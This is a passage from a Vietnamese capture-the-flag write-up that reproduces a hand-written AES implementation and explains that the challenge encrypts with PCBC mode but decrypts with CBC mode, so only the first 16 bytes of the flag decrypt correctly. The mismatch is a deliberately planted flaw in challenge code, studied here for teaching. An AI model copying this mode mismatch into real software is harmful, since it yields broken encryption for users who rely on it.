    <span class="hljs-number">0xE1</span>, <span class="hljs-number">0xF8</span>, <span class="hljs-number">0x98</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0xD9</span>, <span class="hljs-number">0x8E</span>, <span class="hljs-number">0x94</span>, <span class="hljs-number">0x9B</span>, <span class="hljs-number">0x1E</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0xE9</span>, <span class="hljs-number">0xCE</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x28</span>, <span class="hljs-number">0xDF</span>,
    <span class="hljs-number">0x8C</span>, <span class="hljs-number">0xA1</span>, <span class="hljs-number">0x89</span>, <span class="hljs-number">0x0D</span>, <span class="hljs-number">0xBF</span>, <span class="hljs-number">0xE6</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0x41</span>, <span class="hljs-number">0x99</span>, <span class="hljs-number">0x2D</span>, <span class="hljs-number">0x0F</span>, <span class="hljs-number">0xB0</span>, <span class="hljs-number">0x54</span>, <span class="hljs-number">0xBB</span>, <span class="hljs-number">0x16</span>,
)

inv_s_box = (
    <span class="hljs-number">0x52</span>, <span class="hljs-number">0x09</span>, <span class="hljs-number">0x6A</span>, <span class="hljs-number">0xD5</span>, <span class="hljs-number">0x30</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0xA5</span>, <span class="hljs-number">0x38</span>, <span class="hljs-number">0xBF</span>, <span class="hljs-number">0x40</span>, <span class="hljs-number">0xA3</span>, <span class="hljs-number">0x9E</span>, <span class="hljs-number">0x81</span>, <span class="hljs-number">0xF3</span>, <span class="hljs-number">0xD7</span>, <span class="hljs-number">0xFB</span>,
    <span class="hljs-number">0x7C</span>, <span class="hljs-number">0xE3</span>, <span class="hljs-number">0x39</span>, <span class="hljs-number">0x82</span>, <span class="hljs-number">0x9B</span>, <span class="hljs-number">0x2F</span>, <span class="hljs-number">0xFF</span>, <span class="hljs-number">0x87</span>, <span class="hljs-number">0x34</span>, <span class="hljs-number">0x8E</span>, <span class="hljs-number">0x43</span>, <span class="hljs-number">0x44</span>, <span class="hljs-number">0xC4</span>, <span class="hljs-number">0xDE</span>, <span class="hljs-number">0xE9</span>, <span class="hljs-number">0xCB</span>,
    <span class="hljs-number">0x54</span>, <span class="hljs-number">0x7B</span>, <span class="hljs-number">0x94</span>, <span class="hljs-number">0x32</span>, <span class="hljs-number">0xA6</span>, <span class="hljs-number">0xC2</span>, <span class="hljs-number">0x23</span>, <span class="hljs-number">0x3D</span>, <span class="hljs-number">0xEE</span>, <span class="hljs-number">0x4C</span>, <span class="hljs-number">0x95</span>, <span class="hljs-number">0x0B</span>, <span class="hljs-number">0x42</span>, <span class="hljs-number">0xFA</span>, <span class="hljs-number">0xC3</span>, <span class="hljs-number">0x4E</span>,
    <span class="hljs-number">0x08</span>, <span class="hljs-number">0x2E</span>, <span class="hljs-number">0xA1</span>, <span class="hljs-number">0x66</span>, <span class="hljs-number">0x28</span>, <span class="hljs-number">0xD9</span>, <span class="hljs-number">0x24</span>, <span class="hljs-number">0xB2</span>, <span class="hljs-number">0x76</span>, <span class="hljs-number">0x5B</span>, <span class="hljs-number">0xA2</span>, <span class="hljs-number">0x49</span>, <span class="hljs-number">0x6D</span>, <span class="hljs-number">0x8B</span>, <span class="hljs-number">0xD1</span>, <span class="hljs-number">0x25</span>,
    <span class="hljs-number">0x72</span>, <span class="hljs-number">0xF8</span>, <span class="hljs-number">0xF6</span>, <span class="hljs-number">0x64</span>, <span class="hljs-number">0x86</span>, <span class="hljs-number">0x68</span>, <span class="hljs-number">0x98</span>, <span class="hljs-number">0x16</span>, <span class="hljs-number">0xD4</span>, <span class="hljs-number">0xA4</span>, <span class="hljs-number">0x5C</span>, <span class="hljs-number">0xCC</span>, <span class="hljs-number">0x5D</span>, <span class="hljs-number">0x65</span>, <span class="hljs-number">0xB6</span>, <span class="hljs-number">0x92</span>,
    <span class="hljs-number">0x6C</span>, <span class="hljs-number">0x70</span>, <span class="hljs-number">0x48</span>, <span class="hljs-number">0x50</span>, <span class="hljs-number">0xFD</span>, <span class="hljs-number">0xED</span>, <span class="hljs-number">0xB9</span>, <span class="hljs-number">0xDA</span>, <span class="hljs-number">0x5E</span>, <span class="hljs-number">0x15</span>, <span class="hljs-number">0x46</span>, <span class="hljs-number">0x57</span>, <span class="hljs-number">0xA7</span>, <span class="hljs-number">0x8D</span>, <span class="hljs-number">0x9D</span>, <span class="hljs-number">0x84</span>,
    <span class="hljs-number">0x90</span>, <span class="hljs-number">0xD8</span>, <span class="hljs-number">0xAB</span>, <span class="hljs-number">0x00</span>, <span class="hljs-number">0x8C</span>, <span class="hljs-number">0xBC</span>, <span class="hljs-number">0xD3</span>, <span class="hljs-number">0x0A</span>, <span class="hljs-number">0xF7</span>, <span class="hljs-number">0xE4</span>, <span class="hljs-number">0x58</span>, <span class="hljs-number">0x05</span>, <span class="hljs-number">0xB8</span>, <span class="hljs-number">0xB3</span>, <span class="hljs-number">0x45</span>, <span class="hljs-number">0x06</span>,
    <span class="hljs-number">0xD0</span>, <span class="hljs-number">0x2C</span>, <span class="hljs-number">0x1E</span>, <span class="hljs-number">0x8F</span>, <span class="hljs-number">0xCA</span>, <span class="hljs-number">0x3F</span>, <span class="hljs-number">0x0F</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0xC1</span>, <span class="hljs-number">0xAF</span>, <span class="hljs-number">0xBD</span>, <span class="hljs-number">0x03</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x13</span>, <span class="hljs-number">0x8A</span>, <span class="hljs-number">0x6B</span>,
    <span class="hljs-number">0x3A</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0x11</span>, <span class="hljs-number">0x41</span>, <span class="hljs-number">0x4F</span>, <span class="hljs-number">0x67</span>, <span class="hljs-number">0xDC</span>, <span class="hljs-number">0xEA</span>, <span class="hljs-number">0x97</span>, <span class="hljs-number">0xF2</span>, <span class="hljs-number">0xCF</span>, <span class="hljs-number">0xCE</span>, <span class="hljs-number">0xF0</span>, <span class="hljs-number">0xB4</span>, <span class="hljs-number">0xE6</span>, <span class="hljs-number">0x73</span>,
    <span class="hljs-number">0x96</span>, <span class="hljs-number">0xAC</span>, <span class="hljs-number">0x74</span>, <span class="hljs-number">0x22</span>, <span class="hljs-number">0xE7</span>, <span class="hljs-number">0xAD</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x85</span>, <span class="hljs-number">0xE2</span>, <span class="hljs-number">0xF9</span>, <span class="hljs-number">0x37</span>, <span class="hljs-number">0xE8</span>, <span class="hljs-number">0x1C</span>, <span class="hljs-number">0x75</span>, <span class="hljs-number">0xDF</span>, <span class="hljs-number">0x6E</span>,
    <span class="hljs-number">0x47</span>, <span class="hljs-number">0xF1</span>, <span class="hljs-number">0x1A</span>, <span class="hljs-number">0x71</span>, <span class="hljs-number">0x1D</span>, <span class="hljs-number">0x29</span>, <span class="hljs-number">0xC5</span>, <span class="hljs-number">0x89</span>, <span class="hljs-number">0x6F</span>, <span class="hljs-number">0xB7</span>, <span class="hljs-number">0x62</span>, <span class="hljs-number">0x0E</span>, <span class="hljs-number">0xAA</span>, <span class="hljs-number">0x18</span>, <span class="hljs-number">0xBE</span>, <span class="hljs-number">0x1B</span>,
    <span class="hljs-number">0xFC</span>, <span class="hljs-number">0x56</span>, <span class="hljs-number">0x3E</span>, <span class="hljs-number">0x4B</span>, <span class="hljs-number">0xC6</span>, <span class="hljs-number">0xD2</span>, <span class="hljs-number">0x79</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x9A</span>, <span class="hljs-number">0xDB</span>, <span class="hljs-number">0xC0</span>, <span class="hljs-number">0xFE</span>, <span class="hljs-number">0x78</span>, <span class="hljs-number">0xCD</span>, <span class="hljs-number">0x5A</span>, <span class="hljs-number">0xF4</span>,
    <span class="hljs-number">0x1F</span>, <span class="hljs-number">0xDD</span>, <span class="hljs-number">0xA8</span>, <span class="hljs-number">0x33</span>, <span class="hljs-number">0x88</span>, <span class="hljs-number">0x07</span>, <span class="hljs-number">0xC7</span>, <span class="hljs-number">0x31</span>, <span class="hljs-number">0xB1</span>, <span class="hljs-number">0x12</span>, <span class="hljs-number">0x10</span>, <span class="hljs-number">0x59</span>, <span class="hljs-number">0x27</span>, <span class="hljs-number">0x80</span>, <span class="hljs-number">0xEC</span>, <span class="hljs-number">0x5F</span>,
    <span class="hljs-number">0x60</span>, <span class="hljs-number">0x51</span>, <span class="hljs-number">0x7F</span>, <span class="hljs-number">0xA9</span>, <span class="hljs-number">0x19</span>, <span class="hljs-number">0xB5</span>, <span class="hljs-number">0x4A</span>, <span class="hljs-number">0x0D</span>, <span class="hljs-number">0x2D</span>, <span class="hljs-number">0xE5</span>, <span class="hljs-number">0x7A</span>, <span class="hljs-number">0x9F</span>, <span class="hljs-number">0x93</span>, <span class="hljs-number">0xC9</span>, <span class="hljs-number">0x9C</span>, <span class="hljs-number">0xEF</span>,
    <span class="hljs-number">0xA0</span>, <span class="hljs-number">0xE0</span>, <span class="hljs-number">0x3B</span>, <span class="hljs-number">0x4D</span>, <span class="hljs-number">0xAE</span>, <span class="hljs-number">0x2A</span>, <span class="hljs-number">0xF5</span>, <span class="hljs-number">0xB0</span>, <span class="hljs-number">0xC8</span>, <span class="hljs-number">0xEB</span>, <span class="hljs-number">0xBB</span>, <span class="hljs-number">0x3C</span>, <span class="hljs-number">0x83</span>, <span class="hljs-number">0x53</span>, <span class="hljs-number">0x99</span>, <span class="hljs-number">0x61</span>,
    <span class="hljs-number">0x17</span>, <span class="hljs-number">0x2B</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x7E</span>, <span class="hljs-number">0xBA</span>, <span class="hljs-number">0x77</span>, <span class="hljs-number">0xD6</span>, <span class="hljs-number">0x26</span>, <span class="hljs-number">0xE1</span>, <span class="hljs-number">0x69</span>, <span class="hljs-number">0x14</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0x55</span>, <span class="hljs-number">0x21</span>, <span class="hljs-number">0x0C</span>, <span class="hljs-number">0x7D</span>,
)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sub_bytes</span>(<span class="hljs-params">s</span>):</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
            s[i][j] = s_box[s[i][j]]


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inv_sub_bytes</span>(<span class="hljs-params">s</span>):</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
            s[i][j] = inv_s_box[s[i][j]]


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">shift_rows</span>(<span class="hljs-params">s</span>):</span>
    s[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">1</span>] = s[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>]
    s[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">2</span>] = s[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">2</span>]
    s[<span class="hljs-number">0</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">3</span>] = s[<span class="hljs-number">3</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">3</span>]


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inv_shift_rows</span>(<span class="hljs-params">s</span>):</span>
    s[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">1</span>] = s[<span class="hljs-number">3</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">1</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">1</span>]
    s[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">2</span>] = s[<span class="hljs-number">2</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">2</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">2</span>]
    s[<span class="hljs-number">0</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">1</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">3</span>] = s[<span class="hljs-number">1</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">2</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">3</span>][<span class="hljs-number">3</span>], s[<span class="hljs-number">0</span>][<span class="hljs-number">3</span>]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_round_key</span>(<span class="hljs-params">s, k</span>):</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        <span class="hljs-keyword">for</span> j <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
            s[i][j] ^= k[i][j]


<span class="hljs-comment"># learned from https://web.archive.org/web/20100626212235/http://cs.ucsb.edu/~koc/cs178/projects/JT/aes.c</span>
xtime = <span class="hljs-keyword">lambda</span> a: (((a &lt;&lt; <span class="hljs-number">1</span>) ^ <span class="hljs-number">0x1B</span>) &amp; <span class="hljs-number">0xFF</span>) <span class="hljs-keyword">if</span> (a &amp; <span class="hljs-number">0x80</span>) <span class="hljs-keyword">else</span> (a &lt;&lt; <span class="hljs-number">1</span>)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mix_single_column</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-comment"># see Sec 4.1.2 in The Design of Rijndael</span>
    t = a[<span class="hljs-number">0</span>] ^ a[<span class="hljs-number">1</span>] ^ a[<span class="hljs-number">2</span>] ^ a[<span class="hljs-number">3</span>]
    u = a[<span class="hljs-number">0</span>]
    a[<span class="hljs-number">0</span>] ^= t ^ xtime(a[<span class="hljs-number">0</span>] ^ a[<span class="hljs-number">1</span>])
    a[<span class="hljs-number">1</span>] ^= t ^ xtime(a[<span class="hljs-number">1</span>] ^ a[<span class="hljs-number">2</span>])
    a[<span class="hljs-number">2</span>] ^= t ^ xtime(a[<span class="hljs-number">2</span>] ^ a[<span class="hljs-number">3</span>])
    a[<span class="hljs-number">3</span>] ^= t ^ xtime(a[<span class="hljs-number">3</span>] ^ u)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">mix_columns</span>(<span class="hljs-params">s</span>):</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        mix_single_column(s[i])


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inv_mix_columns</span>(<span class="hljs-params">s</span>):</span>
    <span class="hljs-comment"># see Sec 4.1.3 in The Design of Rijndael</span>
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">4</span>):
        u = xtime(xtime(s[i][<span class="hljs-number">0</span>] ^ s[i][<span class="hljs-number">2</span>]))
        v = xtime(xtime(s[i][<span class="hljs-number">1</span>] ^ s[i][<span class="hljs-number">3</span>]))
        s[i][<span class="hljs-number">0</span>] ^= u
        s[i][<span class="hljs-number">1</span>] ^= v
        s[i][<span class="hljs-number">2</span>] ^= u
        s[i][<span class="hljs-number">3</span>] ^= v

    mix_columns(s)


r_con = (
    <span class="hljs-number">0x00</span>, <span class="hljs-number">0x01</span>, <span class="hljs-number">0x02</span>, <span class="hljs-number">0x04</span>, <span class="hljs-number">0x08</span>, <span class="hljs-number">0x10</span>, <span class="hljs-number">0x20</span>, <span class="hljs-number">0x40</span>,
    <span class="hljs-number">0x80</span>, <span class="hljs-number">0x1B</span>, <span class="hljs-number">0x36</span>, <span class="hljs-number">0x6C</span>, <span class="hljs-number">0xD8</span>, <span class="hljs-number">0xAB</span>, <span class="hljs-number">0x4D</span>, <span class="hljs-number">0x9A</span>,
    <span class="hljs-number">0x2F</span>, <span class="hljs-number">0x5E</span>, <span class="hljs-number">0xBC</span>, <span class="hljs-number">0x63</span>, <span class="hljs-number">0xC6</span>, <span class="hljs-number">0x97</span>, <span class="hljs-number">0x35</span>, <span class="hljs-number">0x6A</span>,
    <span class="hljs-number">0xD4</span>, <span class="hljs-number">0xB3</span>, <span class="hljs-number">0x7D</span>, <span class="hljs-number">0xFA</span>, <span class="hljs-number">0xEF</span>, <span class="hljs-number">0xC5</span>, <span class="hljs-number">0x91</span>, <span class="hljs-number">0x39</span>,
)


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">bytes2matrix</span>(<span class="hljs-params">text</span>):</span>
    <span class="hljs-string">""" Converts a 16-byte array into a 4x4 matrix.  """</span>
    <span class="hljs-keyword">return</span> [list(text[i:i+<span class="hljs-number">4</span>]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(text), <span class="hljs-number">4</span>)]

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">matrix2bytes</span>(<span class="hljs-params">matrix</span>):</span>
    <span class="hljs-string">""" Converts a 4x4 matrix into a 16-byte array.  """</span>
    <span class="hljs-keyword">return</span> bytes(sum(matrix, []))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor_bytes</span>(<span class="hljs-params">a, b</span>):</span>
    <span class="hljs-string">""" Returns a new byte array with the elements xor'ed. """</span>
    <span class="hljs-keyword">return</span> bytes(i^j <span class="hljs-keyword">for</span> i, j <span class="hljs-keyword">in</span> zip(a, b))

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">inc_bytes</span>(<span class="hljs-params">a</span>):</span>
    <span class="hljs-string">""" Returns a new byte array with the value increment by 1 """</span>
    out = list(a)
    <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> reversed(range(len(out))):
        <span class="hljs-keyword">if</span> out[i] == <span class="hljs-number">0xFF</span>:
            out[i] = <span class="hljs-number">0</span>
        <span class="hljs-keyword">else</span>:
            out[i] += <span class="hljs-number">1</span>
            <span class="hljs-keyword">break</span>
    <span class="hljs-keyword">return</span> bytes(out)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pad</span>(<span class="hljs-params">plaintext</span>):</span>
    <span class="hljs-string">"""
    Pads the given plaintext with PKCS#7 padding to a multiple of 16 bytes.
    Note that if the plaintext size is a multiple of 16,
    a whole block will be added.
    """</span>
    padding_len = <span class="hljs-number">16</span> - (len(plaintext) % <span class="hljs-number">16</span>)
    padding = bytes([padding_len] * padding_len)
    <span class="hljs-keyword">return</span> plaintext + padding

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">unpad</span>(<span class="hljs-params">plaintext</span>):</span>
    <span class="hljs-string">"""
    Removes a PKCS#7 padding, returning the unpadded text and ensuring the
    padding was correct.
    """</span>
    padding_len = plaintext[<span class="hljs-number">-1</span>]
    <span class="hljs-keyword">assert</span> padding_len &gt; <span class="hljs-number">0</span>
    message, padding = plaintext[:-padding_len], plaintext[-padding_len:]
    <span class="hljs-keyword">assert</span> all(p == padding_len <span class="hljs-keyword">for</span> p <span class="hljs-keyword">in</span> padding)
    <span class="hljs-keyword">return</span> message

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">split_blocks</span>(<span class="hljs-params">message, block_size=<span class="hljs-number">16</span>, require_padding=True</span>):</span>
        <span class="hljs-keyword">assert</span> len(message) % block_size == <span class="hljs-number">0</span> <span class="hljs-keyword">or</span> <span class="hljs-keyword">not</span> require_padding
        <span class="hljs-keyword">return</span> [message[i:i+<span class="hljs-number">16</span>] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">0</span>, len(message), block_size)]


<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">AES</span>:</span>
    <span class="hljs-string">"""
    Class for AES-128 encryption with CBC mode and PKCS#7.

    This is a raw implementation of AES, without key stretching or IV
    management. Unless you need that, please use `encrypt` and `decrypt`.
    """</span>
    rounds_by_key_size = {<span class="hljs-number">16</span>: <span class="hljs-number">10</span>, <span class="hljs-number">24</span>: <span class="hljs-number">12</span>, <span class="hljs-number">32</span>: <span class="hljs-number">14</span>}
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, master_key</span>):</span>
        <span class="hljs-string">"""
        Initializes the object with a given key.
        """</span>
        <span class="hljs-keyword">assert</span> len(master_key) <span class="hljs-keyword">in</span> AES.rounds_by_key_size
        self.n_rounds = AES.rounds_by_key_size[len(master_key)]
        self._key_matrices = self._expand_key(master_key)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">_expand_key</span>(<span class="hljs-params">self, master_key</span>):</span>
        <span class="hljs-string">"""
        Expands and returns a list of key matrices for the given master_key.
        """</span>
        <span class="hljs-comment"># Initialize round keys with raw key material.</span>
        key_columns = bytes2matrix(master_key)
        iteration_size = len(master_key) // <span class="hljs-number">4</span>

        i = <span class="hljs-number">1</span>
        <span class="hljs-keyword">while</span> len(key_columns) &lt; (self.n_rounds + <span class="hljs-number">1</span>) * <span class="hljs-number">4</span>:
            <span class="hljs-comment"># Copy previous word.</span>
            word = list(key_columns[<span class="hljs-number">-1</span>])

            <span class="hljs-comment"># Perform schedule_core once every "row".</span>
            <span class="hljs-keyword">if</span> len(key_columns) % iteration_size == <span class="hljs-number">0</span>:
                <span class="hljs-comment"># Circular shift.</span>
                word.append(word.pop(<span class="hljs-number">0</span>))
                <span class="hljs-comment"># Map to S-BOX.</span>
                word = [s_box[b] <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> word]
                <span class="hljs-comment"># XOR with first byte of R-CON, since the others bytes of R-CON are 0.</span>
                word[<span class="hljs-number">0</span>] ^= r_con[i]
                i += <span class="hljs-number">1</span>
            <span class="hljs-keyword">elif</span> len(master_key) == <span class="hljs-number">32</span> <span class="hljs-keyword">and</span> len(key_columns) % iteration_size == <span class="hljs-number">4</span>:
                <span class="hljs-comment"># Run word through S-box in the fourth iteration when using a</span>
                <span class="hljs-comment"># 256-bit key.</span>
                word = [s_box[b] <span class="hljs-keyword">for</span> b <span class="hljs-keyword">in</span> word]

            <span class="hljs-comment"># XOR with equivalent word from previous iteration.</span>
            word = xor_bytes(word, key_columns[-iteration_size])
            key_columns.append(word)

        <span class="hljs-comment"># Group key words in 4x4 byte matrices.</span>
        <span class="hljs-keyword">return</span> [key_columns[<span class="hljs-number">4</span>*i : <span class="hljs-number">4</span>*(i+<span class="hljs-number">1</span>)] <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(key_columns) // <span class="hljs-number">4</span>)]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt_block</span>(<span class="hljs-params">self, plaintext</span>):</span>
        <span class="hljs-keyword">assert</span> len(plaintext) == <span class="hljs-number">16</span>

        plain_state = bytes2matrix(plaintext)

        add_round_key(plain_state, self._key_matrices[<span class="hljs-number">0</span>])

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, self.n_rounds):
            sub_bytes(plain_state)
            shift_rows(plain_state)
            mix_columns(plain_state)
            add_round_key(plain_state, self._key_matrices[i])

        sub_bytes(plain_state)
        shift_rows(plain_state)
        add_round_key(plain_state, self._key_matrices[<span class="hljs-number">-1</span>])

        <span class="hljs-keyword">return</span> matrix2bytes(plain_state)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt_block</span>(<span class="hljs-params">self, ciphertext</span>):</span>
        <span class="hljs-keyword">assert</span> len(ciphertext) == <span class="hljs-number">16</span>

        cipher_state = bytes2matrix(ciphertext)

        add_round_key(cipher_state, self._key_matrices[<span class="hljs-number">-1</span>])
        inv_shift_rows(cipher_state)
        inv_sub_bytes(cipher_state)

        <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(self.n_rounds - <span class="hljs-number">1</span>, <span class="hljs-number">0</span>, <span class="hljs-number">-1</span>):
            add_round_key(cipher_state, self._key_matrices[i])
            inv_mix_columns(cipher_state)
            inv_shift_rows(cipher_state)
            inv_sub_bytes(cipher_state)

        add_round_key(cipher_state, self._key_matrices[<span class="hljs-number">0</span>])

        <span class="hljs-keyword">return</span> matrix2bytes(cipher_state)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">self, plaintext, iv</span>):</span>
        <span class="hljs-keyword">assert</span> len(iv) == <span class="hljs-number">16</span>
        plaintext = pad(plaintext)
        blocks = []
        prev_ciphertext = iv
        prev_plaintext = bytes(<span class="hljs-number">16</span>)
        <span class="hljs-keyword">for</span> plaintext_block <span class="hljs-keyword">in</span> split_blocks(plaintext):
            ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext)))
            blocks.append(ciphertext_block)
            prev_ciphertext = ciphertext_block
            prev_plaintext = plaintext_block
        <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(blocks)

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, ciphertext, iv</span>):</span>
        <span class="hljs-keyword">assert</span> len(iv) == <span class="hljs-number">16</span>
        blocks = []
        previous = iv
        <span class="hljs-keyword">for</span> ciphertext_block <span class="hljs-keyword">in</span> split_blocks(ciphertext):
            blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
            previous = ciphertext_block
        <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(blocks)
</code></pre>
<ul>
<li><p>Ngồi phân tích file <a target="_blank" href="http://chal.py"><code>chal.py</code></a> thì thấy nó khá bình thường, có hàm encrypt <strong>plaintext</strong>, có hàm decrypt để giải mã <strong>ciphertext</strong> và có cả option để trả về ciphertext của <strong>Flag</strong>.</p>
</li>
<li><p>Mình thử bỏ <strong>Flag</strong> hàm decrypt thử thì như dự đoán là nó không trả về toàn bộ Flag mà chỉ có 16 bytes đầu của Flag là đúng, nên chắc chắc là hàm <strong>encrypt</strong> hoặc hàm <strong>decrypt</strong> có vấn đề. Nên chúng ta tiến hành đi khám file <a target="_blank" href="http://aes.py"><code>aes.py</code></a>.</p>
</li>
<li><p>Phân tích hai hàm <code>encrypt()</code> và <code>decrypt()</code> của file <a target="_blank" href="http://aes.py"><code>aes.py</code></a>:</p>
<pre><code class="lang-python">  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">encrypt</span>(<span class="hljs-params">self, plaintext, iv</span>):</span>
      <span class="hljs-keyword">assert</span> len(iv) == <span class="hljs-number">16</span>
      plaintext = pad(plaintext)
      blocks = []
      prev_ciphertext = iv
      prev_plaintext = bytes(<span class="hljs-number">16</span>)
      <span class="hljs-keyword">for</span> plaintext_block <span class="hljs-keyword">in</span> split_blocks(plaintext):
          ciphertext_block = self.encrypt_block(xor_bytes(plaintext_block, xor_bytes(prev_ciphertext, prev_plaintext)))
          blocks.append(ciphertext_block)
          prev_ciphertext = ciphertext_block
          prev_plaintext = plaintext_block
      <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(blocks)

  <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">decrypt</span>(<span class="hljs-params">self, ciphertext, iv</span>):</span>
      <span class="hljs-keyword">assert</span> len(iv) == <span class="hljs-number">16</span>
      blocks = []
      previous = iv
      <span class="hljs-keyword">for</span> ciphertext_block <span class="hljs-keyword">in</span> split_blocks(ciphertext):
          blocks.append(xor_bytes(previous, self.decrypt_block(ciphertext_block)))
          previous = ciphertext_block
      <span class="hljs-keyword">return</span> <span class="hljs-string">b''</span>.join(blocks)
</code></pre>
</li>
<li><p>Nhận thấy rằng <strong>Flag</strong> của ta được encrypt bằng mode <strong>PCBC</strong> nhưng hàm decrypt lại là mode <strong>CBC</strong> nên khi ta đưa ciphertext vào thì chỉ có <strong>16 bytes</strong> đầu tiên của plaintext là đúng.</p>
